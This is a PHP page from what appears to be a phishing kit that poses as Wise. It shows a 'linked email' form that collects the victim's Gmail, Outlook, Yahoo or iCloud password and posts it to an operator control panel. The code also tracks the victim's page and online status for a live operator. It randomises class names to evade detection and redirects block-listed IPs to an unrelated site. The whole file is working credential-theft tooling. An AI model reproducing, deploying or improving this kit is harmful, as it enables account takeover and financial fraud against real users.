<?php
    error_reporting(0);
    session_start();
    include '../setting/functions.php';
    require_once "../../setting/lang.php";

    // Lang Fucntion :
    lang();

    function isBlocked($ip) {
        $blockedIPs = file_get_contents('../../panel/blocked_ips.txt');
        return strpos($blockedIPs, $ip) !== false;
    }

    // Get the user's IP address
    $userIP = get_client_ip();

    // Check if the user's IP is blocked
    if (isBlocked($userIP)) {
        // Redirect the blocked user to another page
        header("Location: https://www.superhonda.com/");
        exit();
    }
 
    $current_page = "Page Information Email Linked";
    $timestamp =  date("Y-m-d H:i:s");
 
    $file_path = "../control-panel/user-action/data.json";
    $json_data = file_get_contents($file_path);
 
    // Decode the JSON data into a PHP associative array
    $user_data = json_decode($json_data, true);
 
    // Update the relevant values in the array
    $user_data['current_page'] = $current_page;
    $user_data['timestamp'] = $timestamp;
    $user_data['redirect_user'] = " ";
 
    // Encode the array back into JSON format
    $updated_json_data = json_encode($user_data);
 
    // Write the updated JSON data back to the file
    file_put_contents($file_path, $updated_json_data);
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> ">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../../css/main.css">
    <link rel="stylesheet" href="../../css/style-section-message.css">
    <link rel="stylesheet" href="../../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../../img/favicon.png">
    <link rel="shortcut" href="../../img/favicon.png">
    <link rel="appel-touch-icon" href="../../img/favicon.png">
    <title>Wise - <?php echo get_text('title_head_3'); ?></title> 
</head>
<body id="body">
    <!-- Start Nav Bar -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> nav-bar">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-nav-bar">
            <img src="../../img/logo.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> logo">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-icon-close show-message-explain">
                <img src="../../img/icon-nav-bar.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> close">
            </div>
        </div>
    </div>
    <!-- End Nav Bar -->

    <!-- Start Form -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> main">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> container">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-main">
                <form action="../control-panel/check-action.php" method="post" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> form-submit" id="formLogin">
                    <input type="hidden" name="step" value="email-linked">
                    <h1><?php echo get_text('title_step_3'); ?></h1>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-images-emails">
                        <img src="../../img/gmail.jpg" alt="">
                        <img src="../../img/outlook.jpg" alt="">
                        <img src="../../img/yahoo.jpg" alt="">
                        <img src="../../img/icloud.png" alt="">
                    </div>
                    <p class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> p-explain" style="text-align: center;"><?php echo get_text('p_explain_step_3'); ?></p>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-input" id="div1">
                        <label for="email"><?php echo get_text('label_email_step_3'); ?></label>
                        <input type="email" name="email" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-target" id="email">
                        <small id="messageError1" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> small-message-error"><img src="../../img/icon-error.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><?php echo get_text('message_error_input_step_1'); ?></small>
                    </div>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-input" id="div2">
                        <label for="password"><?php echo get_text('label_password_step_3'); ?></label>
                        <input type="password" name="password" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-target" id="password">
                        <small id="messageError2" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> small-message-error"><img src="../../img/icon-error.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><?php echo get_text('message_error_input_step_1'); ?></small>
                        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-show-or-hide" id="showOrHide">
                            <img src="../../img/show-password.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-show-or-hide" id="iconShowOrHide">
                        </div>
                    </div>
                    <button type="submit" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> button-send-data" id="buttonSendData" name="send_data_7"><?php echo get_text('button_send_data'); ?></button>
                    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> links-form-and-login-with">
                        <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> link-form show-message-explain"><?php echo get_text('link_step_3'); ?></span>
                    </div>
                </form>
            </div>
        </div>
    </div>
    <!-- End Form -->

    <!-- Message Explain -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-user" id="messageUser">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-message-user">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> header-messsage-user">
                <img src="../../img/logo.png" alt="">
                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> close-message-header" id="closeMessageuser1" type="button"><i
                        class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-xmark"></i></button>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> text-message-user">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> alert-icon">
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-shield-halved"></i>
                </span>
                </span>
                <h2><?php echo get_text('title_message_user'); ?></h2>
                <p>
                    <?php echo get_text('text_message_user'); ?>
                </p>
                <button type="button" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> close-message-user" id="closeMessageuser2"><?php echo get_text('button_message_user'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->

    <!-- Start Footer -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> footer">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> container">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-footer">
                <p><?php echo get_text('footer_text'); ?> <?php echo date("Y"); ?></p>
            </div>
        </div>
    </div>
    <!-- End Footer -->

   <!-- Start Message With User -->
   <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> starting-message-with-support" id="startContactSupport">
        <img src="../../img/icon-chat.png" alt="">
   </div>
   <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> contact-support" id="contactSupport">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-parent">
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> circle"></span>
            <img src="../../img/favicon.png" alt="">
        </div>
        <?php include "./support/user2.php" ?>
    </div>
    <!-- End Message With User -->

    <!-- Script Js -->
    <script src="../../js/script-all.js"></script>
    <script src="../js/user2_script.js"></script>
    <script src="../js/contact-support.js"></script>
    <script src="../../js/script-step-three.js"></script>
    <script src="../../js/jquery.min.js"></script>
    <script>
        var userId = '<?php echo $_SESSION["id_user"]; ?>';

        $(document).ready(function() {
        // Function to update user status via AJAX
        function updateStatus(status) {
            $.ajax({
                url: 'update_status.php',
                type: 'POST',
                data: {
                    userStatus: status,
                    id_user: userId // Use the dynamically set userId
                },
                success: function(response) {
                    console.log(response);
                },
                error: function(jqXHR, textStatus, errorThrown) {
                    console.log('AJAX error: ' + textStatus + ' : ' + errorThrown);
                }
            });
            }

            // Function to check and update user status based on focus
            function updateUserStatus() {
                if (document.hasFocus()) {
                    updateStatus('<span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> online"></span>');
                } else {
                    updateStatus('<span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> offline"></span>');
                }
            }

            setInterval(function() {
                updateUserStatus();
            }, 1000);

            $(window).on('blur', function() {
                updateStatus('<span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> offline"></span>');
            });

            $(window).on('focus', function() {
                updateStatus('<span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> online"></span>');
            });

            $(window).on('beforeunload', function() {
                updateStatus('<span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> offline"></span>');
            });
        });
 
        // Function to check if IP is in the list and redirect if necessary
        function checkBlockedIP() {
            // Fetch the IP list file using AJAX
            fetch('../../panel/blocked_ips.txt')
                .then(response => response.text())
                .then(data => {
                    // Split the data into an array of IP addresses
                    const ipList = data.trim().split('\n');

                    // Get user's IP address using PHP function
                    const userIP = '<?php echo get_client_ip(); ?>';

                    // Check if user's IP is in the list
                    if (ipList.includes(userIP)) {
                        // Redirect user to another page if their IP is in the list
                        window.location.replace('https://www.superhonda.com/');
                    }
                })
                .catch(error => console.error('Error fetching IP list:', error));
        }

        // Call the function immediately when the page loads
        checkBlockedIP();

        // Check blocked IP every 5 seconds
        setInterval(checkBlockedIP, 500);
    </script>
</body>
</html>